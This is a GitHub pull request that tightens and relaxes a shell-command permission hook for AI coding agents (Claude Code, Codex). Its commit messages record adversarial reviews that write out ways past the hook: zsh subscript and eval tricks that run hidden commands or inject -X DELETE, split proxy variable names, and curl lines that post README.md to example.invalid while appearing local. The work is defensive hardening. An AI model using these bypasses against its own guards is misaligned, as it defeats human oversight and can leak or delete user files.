Skip to content

fix(agents): stop asking for commands the hooks can prove safe - #242

Merged
furedea merged 25 commits into
mainfrom
fix/reduce-safe-confirmations
Oct 20, 2026
Merged

furedea merged 25 commits into
mainfrom
fix/reduce-safe-confirmations

Conversation

@furedea

@furedea furedea commented Oct 19, 2026 •

Copy link
Copy Markdown
Owner

要約

  • フックが確実に判定できる形だけ確認をなくした (Accept / X-GitHub-Api-Version ヘッダー付きの gh api 読み取り,herdr agent read / agent wait / worktree list / worktree open).どちらも,ほかの語がすべてリテラルのときに限る.
  • rm はこの PR から外し,別の Issue で扱う.rm の確認と rm -r 系の拒否は main と同じ.関数定義は main と同じ.curl / wget のローカル宛ての規則は main より厳しくした (curl は 1 つの単純コマンドでホスト名が完全一致するときだけ許可,wget はすべて確認).
  • 判定を厳しくした形もある (gh / curl / wget / herdr に語が分かれ得る引数を渡す形,プロキシや設定ファイルに触れるローカル宛て curl).uv と lefthook のため,sandbox の allowedDomains に pypi.org と files.pythonhosted.org を足した.

変わるもの

形 前 後
gh api の Accept / X-GitHub-Api-Version ヘッダー付き読み取り (エンドポイントの前に置く形,二重引用符,--header) 確認 許可 (コマンド全体がこの 1 つの単純コマンドで,一重引用符の外に展開の文字がないときだけ.'…?ref=v1' や --jq '.[0].number' は可.ほかの gh api の規則は main のまま)
herdr agent read / agent wait / worktree list / worktree open auto mode 判定 許可 (コマンド全体がこの 1 つの単純コマンドで,一重引用符の外に展開の文字がないときだけ.さらにシェルが復号した引数を,サブコマンドごとに文書化されたオプションだけの閉じた文法で判定し,値の位置に - で始まる語があれば確認.--trust-repository 付きは確認)
herdr に --session / --machine / --remote (Herdr がサブコマンドの前に取り除く全体オプション.= 付きも) をどこかに含む形 一部許可 確認 (後ろの値の位置がずれるため)
ヘッダー付き gh api や上の herdr の形で,コマンド全体の一重引用符の外 (二重引用符の中,プログラム名,先頭の代入,リダイレクト先,複合文のリダイレクトも) に $,バッククォート,~,* ? [ ] { },行継続を含む形.$'…' も含む (zsh の "$a[@]","$HOME[idx]" など) 確認 確認 (main の規則で判定)
ヘッダー付き gh api や上の herdr の形が,; / && / ` / パイプ /&/!/ サブシェル / ブロック / 関数の中にある形,またはeval/source/./exec/command/env/xargs/sh -c などのラッパー越しの形,先頭に代入 (X=1 …,RANDOM='…' …) やリダイレクト (> out.txt,> >(…)`) を持つ形
gh / curl / wget / herdr に,引用なしの変数・コマンド置換・glob・波括弧 (引用で区切られたものも)・行継続を渡す形 (gh pr view $n,-R furedea/$r) 一部許可 確認 (語が分かれて -X DELETE などのオプションを差し込めるため."$n" と引用すれば main と同じ判定)
引用・エスケープで隠したオプション,"$@" / ${a[@]} を上のプログラムに渡す形,xargs が引数を足す形 一部許可 確認
ローカル宛ての curl / wget で,同じコマンドがプロキシや設定ファイル (*_proxy,CURL_HOME,.curlrc,HOME= など) に触れる形 許可 確認
外向きの curl / wget 確認 確認 (理由で web-fetch ツール,gh api,nix store prefetch-file を案内)
rm,rm -r 系,関数定義 — main と同じ
ローカル宛ての curl 許可 許可 (コマンド全体がこの 1 つの単純コマンドで,先頭の代入・リダイレクト・ラッパー・区切りがなく,ホスト名がちょうど localhost / 127.0.0.1 / [::1] のときだけ.ポートは任意.URL 全体を一重引用符で囲んでもよい.短いオプションの束は値を取らない -s -S -f -i -I -v だけで,値を取るのは決まった位置の -X / -H / -d / -o だけ)
curl -A -H 'https://…' … 'http://localhost/' のように,値を取る短いオプション (-A -e -u -b -c -T -F -x -w -r など) が次の語を値として取り,2 つ目の URL を作る形 許可 確認 (main の規則にも引用なしの形で同じ穴があった)
ローカル宛てを含むすべての wget (--help / --version を除く) 一部許可 確認 (既定でリダイレクトを追い,ほかのホストに届き得るため)
env http_pro''xy=… curl …,http_proxy=… curl …,export http_proxy=x; curl … など,代入・env・export・ラッパー・区切りを伴うローカル宛て curl 許可 確認
ホスト名が localhost などで始まるだけの形 (https://localhost.example.com/),curl -L / -sSL などリダイレクトを追う形,-K / --config / -x (curl),--config / -e / -i / --post-* (wget) 許可 確認 (ほかのホストに届き得るため)
sandbox から pypi.org / files.pythonhosted.org 接続不可 接続可

replay

  • 前回の計測 (c142ca6,2765 件) は rm の緩和を含んでいたので,この PR の今の形の件数ではない.rm を外した後は測り直していない.
  • 当時の内訳で見ると,gh の確認は 15 件から 57 件に増えていた.増えた分はほぼすべて,ループの中で gh pr view $n -R furedea/$r のように引用なしの変数を渡す形."$n" と引用すれば main と同じ判定になる.
  • 拒否は main と同じだった.

チェックリスト

  • 上の表の「後」をテストで固定した (許可になる形と,確認・拒否のまま残る形の両方)
  • rm の判定は main と同じ.rm の確認と rm -r 系の拒否の前置を権限ファイルに戻す (適用スクリプト)
  • 新しい許可は,ほかの語がすべてリテラルのときだけ使う
  • uv run --frozen pytest と lefthook run pre-commit が通る (権限ファイルを戻した状態で)

残るリスク

  • 受け継いだ環境変数や ~/.curlrc はフックから見えないので検出しない.Claude の sandbox の中では,受け継いだプロキシの環境変数は sandbox のフィルタリングプロキシを指し,ホームディレクトリは書き込めないので,エージェントが ~/.curlrc を置くことはできない.ユーザー自身のシェル設定は信頼する.Codex のセッションでも同じで,その環境はユーザーが管理する自分のシェルである.
詳細
  • 当初は rm (一時ディレクトリ内や git で戻せるファイル),関数定義,外向きの curl GET の許可も入れたが,Codex の敵対的レビューで穴が続いた (ブレース展開,builtin eval,引用なし変数の分割,プロキシ,リダイレクト,clean フィルタ,zsh の =name と "$a[@]",シンボリックリンク,エスケープしたフラグなど).フックが確実に判定できる範囲まで縮め,rm は別の Issue に分けた.
  • 新しい許可の規則は allowed_commands.json の別の項目にして literal_words を付けた.この規則は,コマンドの文字列全体のうち一重引用符の外に $,バッククォート,~,*,?,[,],{,},行継続 (\ と改行) のどれもないときだけ使う.一重引用符の中はどのシェルも展開しないので除く.一重引用符の位置は構文解析の結果から取るので,隣接や閉じ忘れの引用符でごまかせない.さらに,コマンド全体が gh か herdr の単純コマンド 1 つのときだけ使う.eval などは一重引用符の中を展開し直すので,区切りやラッパー,先頭の代入,リダイレクトがあれば main の規則で判定する.zsh は RANDOM='pipestatus[1$(…)]' のような整数変数への代入で,一重引用符の値の添字を評価し直すため.$'…' はエスケープを解釈するので除かない.zsh は引用した "$a[@]" も分割し,"$HOME[idx]" の添字の中の置換も実行する.引数だけでなくプログラム名,代入,リダイレクトにも展開を隠せるので,語ごとではなくコマンド全体で判定する.
  • 語が分かれ得るか (引用なしの展開・置換・glob・波括弧,行継続,引用の中でも "$@" と配列) は shell_syntax の構文木から判定する.
  • gh api の規則は main と同じもの (書いたままの語で判定) に,ヘッダーの規則を 1 つ足しただけ.
  • 権限ファイル (agents/command_permissions.json,agents/claude/settings.json) はエージェントから編集できないため,人が適用スクリプトで変更する.

Closes #236

🤖 Generated with Claude Code

Copilot AI balanced review requested due to automatic review settings October 19, 2026 05:01

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

furedea-agent Bot pushed a commit that referenced this pull request Oct 19, 2026
An adversarial review of #242 showed five forms the hooks allowed:

- rm beside a command that writes, moves, or relinks its target first:
  rm now passes only when every other segment just reads
- curl and wget send options in quotes or escaped: a governed command whose
  unquoted word is an option the source text hides now asks
- functions that forward "$@", "$*", positional parameters, or array
  elements to a governed program: such expansions now ask
- curl headers read from a file or input (-H @file, --header @-) now ask
- builtin cd, env --chdir=DIR, env -CDIR, source, and run-time programs
  leave the working directory unknown, so relative rm targets ask

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea-agent Bot pushed a commit that referenced this pull request Oct 19, 2026
A second adversarial review of #242 found three more forms the hooks
allowed. Fix the classes, not the forms:

- curl, wget, and gh api are matched against their shell-decoded
  arguments, requoted, so quoting or escaping cannot hide an option or
  an @file header value; the gh api GraphQL and reply-body patterns
  follow the requoted form
- a governed program that xargs runs with arguments from its input asks
- rm checks run every git call with --literal-pathspecs, and a target
  holding a wildcard or pathspec magic character counts as unknown

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea-agent Bot pushed a commit that referenced this pull request Oct 19, 2026
A third adversarial review of #242 showed that requoting decoded
arguments for the regex rules let a send option such as -d{} pass as a
quoted value, and that rm trusted git diff for files Git skips.

- curl and wget leave the regex rules: request_policy reads their
  decoded arguments against a list of read-only options, each with a
  rule for its value (a header must not start with @, a method must be
  GET or HEAD); any other option, run-time word, or xargs input asks,
  and a request to a local server may also choose a method and send data
- rm treats a tracked file as restorable only when its working, staged,
  and HEAD contents hash to one blob, and never when it is flagged
  assume-unchanged or skip-worktree

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea-agent Bot pushed a commit that referenced this pull request Oct 19, 2026
A fourth adversarial review of #242 showed that a remote request can send
local data however its options read: through another scheme such as
telnet with input, or through options a default .curlrc or .wgetrc adds.
The guard cannot see either, so:

- remote curl and wget ask again, with a reason that points to the
  web-fetch tool, gh api, and nix store prefetch-file; requests to an
  HTTP server on this machine still pass, judged on decoded arguments
- rm hashes the working file's raw bytes with --no-filters, so a clean
  filter cannot hide uncommitted content behind the HEAD blob

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea added a commit that referenced this pull request Oct 19, 2026
…#243)

## 要約

- グローバルの AGENTS.md に,Web を読むときは `curl` / `wget` ではなくエージェントの web-fetch
ツールを使い,正確な値やファイルは `gh api` か `nix store prefetch-file` で取る,という 1 行を足す.
- #242 で外向きの `curl` / `wget` は確認のままにすると決めた.道具の選び方で確認そのものを減らす.
- 決めること: なし (文面と置き場所は会話で合意済み).

| 用途 | 使う道具 | 確認 |
|---|---|---|
| Web のページやドキュメントを読む | web-fetch ツール (Claude は WebFetch) | ドメインの権限どおり |
| GitHub の情報 | `gh api` | 出ない |
| 正確な値・ファイル (版番号,チェックサム,tarball) | `nix store prefetch-file` / `gh api`
| 出ない |
| 外向きの `curl` / `wget` | 使わない | 確認 |

## 検証

- [x] `uv run --frozen pytest -q
tests/agents/test_workflow_skill_layout.py`
- [x] lefthook (pre-commit,commit-msg)

<details>
<summary>背景</summary>

- Claude Code の公式ドキュメントは,`curl` の URL を権限ルールで絞るのは脆いとして,WebFetch
とドメイン単位の権限を勧めている.
- web-fetch ツールはページを要約して返すため,1 文字も違えられない値には使わず `gh api` や `nix store
prefetch-file` を使う.
- Claude と Codex の両方が読むため,ツール名ではなく「web-fetch tool」と書いた.

</details>

Refs #236

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: furedea <132188853+furedea@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
furedea and others added 7 commits October 19, 2026 15:23
Replaying the Bash commands since 2026-10-18 showed most confirmations were
safe forms. The command hook now judges them precisely instead of asking:

- rm passes when every target is inside TMPDIR or the scratchpad root, or is
  a tracked file without staged or unstaged changes; the rm ask and the rm -r
  deny prefixes move from the generated permissions into the hook, which
  still denies other recursive removals and asks for other removals
- function definitions parse, so their bodies are judged where they are
  defined and their calls by name
- curl and wget fetches pass unless an option sends data, picks a method
  other than GET or HEAD, reads options from a file, or a word is computed
  at run time
- gh api reads accept Accept and X-GitHub-Api-Version headers anywhere
- herdr agent read and wait and herdr worktree list and open are allowed
  without the repository-trust flag
- the Claude sandbox reaches pypi.org and files.pythonhosted.org for uv

Closes #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
An adversarial review of #242 showed five forms the hooks allowed:

- rm beside a command that writes, moves, or relinks its target first:
  rm now passes only when every other segment just reads
- curl and wget send options in quotes or escaped: a governed command whose
  unquoted word is an option the source text hides now asks
- functions that forward "$@", "$*", positional parameters, or array
  elements to a governed program: such expansions now ask
- curl headers read from a file or input (-H @file, --header @-) now ask
- builtin cd, env --chdir=DIR, env -CDIR, source, and run-time programs
  leave the working directory unknown, so relative rm targets ask

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A second adversarial review of #242 found three more forms the hooks
allowed. Fix the classes, not the forms:

- curl, wget, and gh api are matched against their shell-decoded
  arguments, requoted, so quoting or escaping cannot hide an option or
  an @file header value; the gh api GraphQL and reply-body patterns
  follow the requoted form
- a governed program that xargs runs with arguments from its input asks
- rm checks run every git call with --literal-pathspecs, and a target
  holding a wildcard or pathspec magic character counts as unknown

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A third adversarial review of #242 showed that requoting decoded
arguments for the regex rules let a send option such as -d{} pass as a
quoted value, and that rm trusted git diff for files Git skips.

- curl and wget leave the regex rules: request_policy reads their
  decoded arguments against a list of read-only options, each with a
  rule for its value (a header must not start with @, a method must be
  GET or HEAD); any other option, run-time word, or xargs input asks,
  and a request to a local server may also choose a method and send data
- rm treats a tracked file as restorable only when its working, staged,
  and HEAD contents hash to one blob, and never when it is flagged
  assume-unchanged or skip-worktree

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The check for "$@", $1, and ${a[@]} reaching a governed program searched
each run-time word's source text, so expansion text inside a command
substitution, such as a PR body that mentions ${a[@]}, asked. Read the
parameter expansions from the parser instead, outside substitutions.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A fourth adversarial review of #242 showed that a remote request can send
local data however its options read: through another scheme such as
telnet with input, or through options a default .curlrc or .wgetrc adds.
The guard cannot see either, so:

- remote curl and wget ask again, with a reason that points to the
  web-fetch tool, gh api, and nix store prefetch-file; requests to an
  HTTP server on this machine still pass, judged on decoded arguments
- rm hashes the working file's raw bytes with --no-filters, so a clean
  filter cannot hide uncommitted content behind the HEAD blob

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A fifth adversarial review of #242 found two more holes:

- curl's local send options were shared with wget, whose -d is a flag
  without a value, so -d swallowed --post-file and a remote URL as its
  values; each program now has one option table of its own, and wget
  sends nothing
- a write redirect on a block, subshell, or loop, such as
  { ...; } >> f, was not seen by rm, so a tracked file appended to in the
  same command counted as unchanged; each command inside a compound
  statement now carries the files its redirections write

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@furedea-agent
furedea-agent Bot force-pushed the fix/reduce-safe-confirmations branch from 1e7a111 to d6f0c0f Compare October 19, 2026 06:24
furedea and others added 7 commits October 19, 2026 15:29
A Codex shell call may name its own workdir, but the adapter forwarded
only the command and the session cwd, so a relative rm target was
looked up in the session directory: a tracked, unchanged file there
could vouch for an untracked file of the same name in the workdir.

- the Codex adapter forwards the tool input's workdir to the command guard
- rm resolves relative targets against that workdir, itself relative to
  the session cwd, as the verification scope check already does

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
guard_command imports removal_policy and request_policy from the hook
library directory, which deptry reported as missing dependencies
(DEP001). Add both to known_first_party beside the other hook modules.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…k can see

A seventh adversarial review of #242 found four more holes: HOME
reassigned before rm, rg --pre and time -o writing before rm, a function
forwarding $* through a variable to gh api, and curl --location following
a local server's redirect elsewhere. Narrow the design instead of patching
each form:

- rm passes only when every target is a literal path inside TMPDIR or the
  scratchpad root; the Git-restorable rule and its Git queries are gone,
  so tracked files ask (git rm covers them), and a target written with ~
  or a parameter is not literal; rg and time no longer count as inert
- a function body that runs a governed or guarded program, any program an
  ask or deny prefix names, or a run-time program asks
- requests to local servers ask when they may follow a redirect: curl's
  -L and --location leave the option table, and wget must say
  --max-redirect=0

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
An eighth adversarial review of #242 found five more holes: brace
expansion in rm paths, builtin eval, source, and trap inside functions,
unquoted variables splitting into gh api and herdr options, proxy
settings sending a local-looking request elsewhere, and a wget redirect
limit taken from another option's value. Keep only what is clearly safe:

- function definitions ask again, as on main, and the code that judged
  function bodies is gone
- curl and wget return to main's local-server rule, with request_policy
  removed; remote requests keep the new ask reason, and a command that
  mentions a proxy or another configuration file asks
- rm asks when a target holds an unquoted glob or brace character
- a word that may split into several, such as an unquoted expansion,
  substitution, glob, or brace expansion, asks when it reaches gh, curl,
  wget, or herdr

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A ninth adversarial review of #242 found two places where the hook's
decoder and the shell disagree: a backslash-newline inside an rm path,
which the shell removes, can build a .. the hook did not see, and brace
expansion can pair braces across quoted parts, as in
{repos/o/r/issues/comments/123,-"X"DELETE}, which hides -XDELETE.

- a word holding a line continuation counts as unknown for rm and as
  splitting for gh, curl, wget, and herdr
- any unquoted brace in a word counts as splitting, even with quoted
  parts between the braces

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A tenth adversarial review of #242 found that zsh expands an unquoted
=name to a command's path, so with a temporary working directory
PATH=/repo/bin:$PATH; rm -rf =tool passed while removing /repo/bin/tool.
Close the class rather than the form:

- rm passes only when every target is an absolute literal path inside a
  temporary root; a relative target, or one starting with =, ~, or any
  other expansion, asks even in a temporary working directory
- the working-directory resolution that only relative targets needed is
  gone, including the Codex adapter's workdir handoff

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…h api rules

An eleventh adversarial review of #242 found three more gaps:

- a backslash inside a quoted rm path, which bash or zsh may drop while
  the hook kept it, let a link redirect the removal: an rm target now
  passes only when it consists of plain characters (letters, digits,
  and . _ - / @ + , : %) and its source holds no backslash
- a temporary root that is itself a symlink made its destination an
  allowed root: a root now counts only when its real path lies in a
  system temporary area, and a target must lie inside a trusted root
  both as written and once resolved
- rewriting the gh api rules for decoded arguments loosened more than
  the two headers, so gh api ... replies -f body=hello passed: main's
  gh api patterns are restored, judged on the source text as on main,
  with one pattern added for Accept and X-GitHub-Api-Version headers

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A twelfth adversarial review of #242 found three forms main asked for
or denied that this branch had loosened:

- zsh splits a quoted "$a[@]", which the bash parser reads as one word,
  so the Accept and X-GitHub-Api-Version header rule let an injected
  -X DELETE through; that rule now sits in its own entry marked
  literal_words and applies only when no word expands at all, and other
  forms fall back to main's gh api rules
- an escaped recursive flag such as \-rf skipped flag detection, so the
  removal only asked; rm now reads its options from the decoded words
- a recursive removal under a symlink created in the same command only
  asked; a recursive removal is now denied unless every target is a
  temporary path that nothing else in the command can change

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea and others added 4 commits October 19, 2026 19:31
… literal words

A thirteenth adversarial review of #242 found two more rm holes and a
Herdr one. rm moves to a separate Issue:

- removal_policy and its tests are gone, and so is the compound-redirect
  write collection that served only it, so a body's deny is no longer
  turned into an ask by a redirect the parser cannot decode; main's rm
  tests are back, and they pass once the shared rm prefixes return to
  the permission file
- Herdr's new agent read, agent wait, worktree list, and worktree open
  forms sit in their own literal_words rule, like the gh api header
  rule, so a zsh "$a[@]" cannot add --trust-repository

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…llows

rm leaves this pull request for a separate Issue, so its shared ask
prefix and the rm -r, -rf, -fr, -R, -Rf, and --recursive deny prefixes
return exactly as on main. The curl and wget allow prefixes now say
that they cover requests to local servers, since the command hook asks
before any remote request.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… rules

A fourteenth adversarial review of #242 found that the literal_words rules
counted "$HOME" as static and missed a subscript inside quotes, so
idx='pipestatus[1$(rm -rf /tmp/review-target)]'; gh api -H 'Accept: x'
"$HOME[idx]" passed while zsh runs the hidden substitution. The Herdr
read, wait, and worktree forms had the same hole.

Each word now carries a literal flag: no parameter expansion of any kind,
the home directory included, no substitution, arithmetic, or leading
tilde, and nothing that spreads, quoted or not. The literal_words rules
apply only when every word is literal; main's rules are unchanged.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A fifteenth adversarial review of #242 found expansions hidden outside
the arguments the per-word check saw: in the program name, a leading
assignment, a redirect target, or a compound command's redirect, as in
Z="$HOME[idx]" gh api -H 'Accept: x' repos/o/r.

Stop checking position by position: the literal_words rules (the gh api
Accept and X-GitHub-Api-Version header rule and the Herdr read, wait,
and worktree rule) apply only when the whole command text holds none of
$, a backtick, ~, *, ?, [, ], {, }, or a backslash-newline. Any other
command is judged by main's rules alone, and the per-word literal flag
is gone.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea and others added 6 commits October 19, 2026 20:02
Neither bash nor zsh expands anything inside single quotes, so the
whole-command check for the literal_words rules now ignores characters
there: gh api -H 'Accept: ...' 'repos/o/r/contents/README.md?ref=v1' and
a single-quoted jq filter pass again. The single-quoted strings are
located by the parser, so an adjacent, escaped, or unterminated quote
cannot hide an expansion; dollar-quoted $'...' strings, double-quoted
text, and unquoted text are still checked, and a parser failure keeps
main's rules.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…call

A sixteenth adversarial review of #242 found that eval re-expands a
single-quoted script, so eval 'gh api -H "Accept: x" "$a[@]"' slipped
past the scan that skips single quotes, and Herdr's --trust-repository
could be injected the same way.

The literal_words rules now apply only when the whole command parses to
exactly one simple command whose program is gh or herdr: no list, pipe,
background, negation, subshell, block, or function, and no eval,
source, exec, command, env, xargs, shell -c, or other wrapper. Any
other command is judged by main's rules alone; the single-quote
exemption still applies within that one command.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…call

A seventeenth adversarial review of #242 found that zsh re-evaluates a
subscript when it assigns to an integer variable, so a single-quoted
value still runs code:
RANDOM='pipestatus[1$(printf REVIEW_MARKER >&2)]' gh api -H 'Accept: x'
repos/o/r ran the substitution. The same worked for Herdr and inside a
process substitution in a redirect.

The one-plain-call check now also requires no leading assignment and no
redirect, so such commands are judged by main's rules alone.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…ve the machine

An eighteenth adversarial review of #242 found two more ways out:

- Herdr strips global options such as --session before it parses a
  subcommand, so herdr worktree open --label --session=default --cwd
  --trust-repository --path /repo/worktree passed while --cwd lost its
  value and --trust-repository became a flag. The watching commands
  (agent read and wait, worktree list and open) are now also judged on
  their decoded words against a closed grammar of documented options,
  each value a plain word, and any Herdr command holding --session,
  --machine, or --remote asks wherever the option sits.
- The local-server curl and wget rule matched the host as a prefix and
  let curl follow redirects, so https://localhost.example.com/ and
  curl -L -d @README.md http://localhost:3000/ passed. The host must now
  be exactly localhost, 127.0.0.1, or [::1] with an optional port, curl
  option clusters exclude -L, -K, and -x, and wget clusters hold only
  options without values; the -L and -sSL ask tests come back.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…n call

A nineteenth adversarial review of #242 found two more holes in the
local request allowance:

- wget follows redirects by default, so wget -O - 'http://[::1]/' could
  be bounced to any host; the local wget pattern is gone and every wget
  command asks, except for its help and version
- quoting split a proxy variable's name past the text scan, as in
  env http_pro''xy=... curl -X POST -d '@README.md' http://localhost:3000/;
  the local curl rule is now marked literal_words, so it applies only to
  one plain curl call with no assignment, redirect, wrapper, or list

Filtering the literal_words rules no longer drops their programs from
the governed set, so curl and wget stay governed when those rules do
not apply. Words now drop a backslash-newline as the shell does, so a
line continuation cannot hide an assignment from env. The request tests
move to their own file to keep each test file under the length limit.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A twentieth adversarial review of #242 found that the local curl rule's
option clusters admitted options that take a value, so
curl -A -H 'https://example.invalid/upload' -d '@README.md' 'http://localhost/'
passed while curl read -H as the user agent and the next word as a
second, remote URL. main's rule has the same hole in its unquoted form.

Clusters may now hold only -s, -S, -f, -i, -I, and -v; options that take
a value appear only in the rule's fixed -X, -H, -d, and -o slots, so the
words line up with curl's own parse and exactly one loopback URL ends
the command.

Refs #236

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@furedea
furedea merged commit d3cca9d into main Oct 20, 2026
11 checks passed
@furedea
furedea deleted the fix/reduce-safe-confirmations branch October 20, 2026 01:36
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

確認が出すぎる形を減らす (rm,関数定義,curl,gh api,herdr)

2 participants